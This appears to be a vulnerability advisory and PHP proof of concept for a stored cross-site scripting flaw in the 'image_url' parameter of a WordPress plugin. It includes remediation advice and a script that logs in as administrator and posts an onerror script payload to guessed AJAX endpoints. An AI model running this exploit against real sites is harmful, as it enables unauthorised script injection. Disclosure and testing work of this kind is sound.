Atomic Edge analysis of CVE-2026-1047 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the salavat counter WordPress plugin. The vulnerability exists in the ‘image_url’ parameter handling within plugin versions up to and including 0.9.5. Attackers with administrator-level privileges can inject malicious scripts that persist in the database and execute when users view affected pages.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on the ‘image_url’ parameter. The plugin likely accepts user-supplied input for an image URL field without proper validation, then stores and displays this value without adequate escaping. This inference aligns with CWE-79, which describes improper neutralization of input during web page generation. Without access to source code, Atomic Edge cannot confirm the exact vulnerable function but concludes the plugin fails to apply WordPress sanitization functions like `esc_url()` or output escaping functions like `esc_attr()`.
Exploitation requires an authenticated administrator to submit a malicious payload via a plugin administration interface. The attacker would craft a JavaScript payload within the ‘image_url’ parameter, possibly using event handlers like `onerror` within an image tag or a data URI scheme. Example payload: `
`. The injection point likely exists in plugin settings, widget configuration, or shortcode parameters where image URLs are configured.
Remediation requires implementing proper input validation and output escaping. The plugin should validate that the ‘image_url’ parameter contains a legitimate URL format using `wp_http_validate_url()` or `filter_var()`. Before storing the value, the plugin should sanitize it with `sanitize_text_field()` or `esc_url_raw()`. During output, the plugin must escape the URL with `esc_url()` in HTML attributes or `esc_js()` in JavaScript contexts. WordPress capability checks should also be verified to ensure only authorized users can modify these settings.
Successful exploitation allows attackers with administrator privileges to execute arbitrary JavaScript in the context of other users’ sessions. This can lead to session hijacking, administrative actions performed without consent, or defacement of the WordPress site. The stored nature means the payload executes whenever users access the compromised page, potentially affecting all site visitors. The CVSS score of 4.4 reflects the high privilege requirement but significant impact when combined with other vulnerabilities.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1047 - salavat counter Plugin <= 0.9.5 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'image_url' Parameter
<?php
/**
* Proof of Concept for CVE-2026-1047
* ASSUMPTIONS:
* 1. The plugin has an admin settings page or widget configuration that accepts 'image_url'
* 2. The parameter is vulnerable to stored XSS without proper sanitization
* 3. Administrator credentials are required for exploitation
* 4. The endpoint is likely /wp-admin/admin-ajax.php with a plugin-specific action
* 5. The payload will be stored and executed when the affected page loads
*/
$target_url = 'https://vulnerable-site.com';
$username = 'admin';
$password = 'password';
// Payload: Basic XSS proof-of-concept
$malicious_image_url = '"><img src=x onerror=alert(`CVE-2026-1047`)>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for successful login by looking for admin dashboard indicators
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Atomic Edge research suggests the plugin likely uses AJAX or admin POST endpoints
// Attempt common WordPress plugin patterns for saving settings
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-admin/admin-post.php',
'/wp-content/plugins/salavat-counter/includes/admin-ajax.php'
];
foreach ($endpoints as $endpoint) {
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
// Test with common AJAX action patterns
$ajax_actions = [
'salavat_counter_save_settings',
'salavat_counter_update',
'salavat_counter_ajax',
'save_salavat_settings'
];
foreach ($ajax_actions as $action) {
$post_data = [
'action' => $action,
'image_url' => $malicious_image_url,
'nonce' => 'dummy_nonce' // Nonce validation might be missing or bypassed
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200 && !empty($response)) {
echo "Potential success with endpoint: $endpoint, action: $actionn";
echo "Response: " . substr($response, 0, 200) . "...n";
}
}
}
curl_close($ch);
unlink('cookies.txt');
echo "PoC completed. Check the plugin's frontend or admin pages for XSS execution.n";
?>
